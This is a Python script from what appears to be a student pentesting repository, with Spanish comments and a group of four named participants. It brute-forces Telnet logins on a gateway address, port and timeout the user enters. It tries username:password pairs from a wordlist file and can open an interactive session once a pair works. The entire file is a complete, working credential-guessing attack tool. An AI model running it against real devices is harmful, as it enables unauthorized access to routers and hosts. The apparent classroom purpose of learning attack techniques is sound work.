pentesting-tools/TelnetBruteForce/brutel.py

103 lines
4.4 KiB
Python
Raw Permalink Normal View History

2024-06-24 00:14:44 +00:00
import sys
import time
import telnetlib
##### EJERCICIO DE BRUTE FORCE A TELNET
### PARTICIPANTES
### Grupo 4:
### 1113684 - Clay Gomera
### 1114550 - Paulo Puig
### 1116614 - Luis Daniel De la Cruz
### 1114441 - Rafael Peralta
#####
# Inicio del tiempo de proceso
tiempo_inicio = time.time()
# Abrir archivo de texto que contiene usuarios y contraseñas comunes
try:
lista_credenciales = open("credenciales.txt", "r")
except FileNotFoundError:
print("Error: Archivo no encontrado. Por favor, asegúrese de que 'credenciales.txt' esté en el mismo directorio que el script.")
sys.exit(1)
# Entrada del usuario para la dirección del gateway, el puerto y el timeout
direccion_router = input("\nIngrese la Dirección del Gateway: ") # Utiliza 'input' tanto para Windows como para Linux
puerto = input("Ingrese el puerto de Telnet (por defecto es 23): ") # Entrada del puerto de Telnet
if not puerto:
puerto = 23 # Puerto predeterminado para Telnet es 23
else:
puerto = int(puerto) # Convertir la entrada de puerto a entero
timeout = input("Ingrese el tiempo de espera en segundos (por defecto es 10): ") # Entrada del tiempo de espera
if not timeout:
timeout = 10 # Timeout predeterminado es 10 segundos
else:
timeout = int(timeout) # Convertir la entrada de timeout a entero
# Función de fuerza bruta
def ataqueTelnet(usuario, contrasena):
try:
tn = telnetlib.Telnet(direccion_router, puerto, timeout=timeout) # Conexión Telnet con un timeout
tn.read_until(b"login: ", timeout=timeout) # Esperar el prompt de nombre de usuario
tn.write(usuario.encode('ascii') + b"\n") # Enviar el nombre de usuario
tn.read_until(b"Password: ", timeout=timeout) # Esperar el prompt de contraseña
tn.write(contrasena.encode('ascii') + b"\n") # Enviar la contraseña
print("Intentando iniciar sesión...")
respuesta = tn.read_until(b"~$", timeout=timeout) # Comprobar el estado de inicio de sesión
if b"~$" in respuesta or b">" in respuesta: # Si el inicio de sesión es exitoso
tn.close() # Cerrar la sesión actual
return True
else:
tn.close() # Cerrar la sesión actual
return False
except EOFError:
print("\nError con el inicio de sesión en Telnet\n")
return False
except Exception as e:
print(f"\nError inesperado: {e}\n")
return False
# Función para establecer una sesión interactiva Telnet
def iniciarSesion(usuario, contrasena):
try:
tn = telnetlib.Telnet(direccion_router, puerto, timeout=timeout) # Conexión Telnet con un timeout
tn.read_until(b"login: ", timeout=timeout) # Esperar el prompt de nombre de usuario
tn.write(usuario.encode('ascii') + b"\n") # Enviar el nombre de usuario
tn.read_until(b"Password: ", timeout=timeout) # Esperar el prompt de contraseña
tn.write(contrasena.encode('ascii') + b"\n") # Enviar la contraseña
tn.interact() # Iniciar una sesión interactiva
except EOFError:
print("\nError con el inicio de sesión en Telnet\n")
except Exception as e:
print(f"\nError inesperado: {e}\n")
# Gestión del archivo de credenciales
credenciales = lista_credenciales.readlines()
codigo = 0 # Inicializar el código de salida
for cred in credenciales:
usuario_prueba, contrasena_prueba = cred.strip().split(":") # Separar el nombre de usuario y la contraseña
print("\nProbando %s:%s" % (usuario_prueba, contrasena_prueba))
if ataqueTelnet(usuario_prueba, contrasena_prueba): # Usar un nombre de usuario y contraseña de la lista para intentar
print("\n¡Credenciales encontradas!")
print("Usuario: %s, Contraseña: %s\n" % (usuario_prueba, contrasena_prueba))
lista_credenciales.close()
codigo = 1
tiempo_transcurrido = time.time() - tiempo_inicio
print("Tiempo transcurrido en el brute-force: %s segundos\n" % tiempo_transcurrido)
# Preguntar al usuario si desea iniciar una sesión interactiva
iniciar_sesion = input("\n¿Desea iniciar una sesión Telnet con estas credenciales? (s/n): ")
if iniciar_sesion.lower() == 's':
iniciarSesion(usuario_prueba, contrasena_prueba)
break # Terminar el proceso si se encuentran las credenciales
else:
print("¡Credenciales incorrectas!")
# Salida
if codigo == 0:
print("Las credenciales no existen en la lista proporcionada.\n")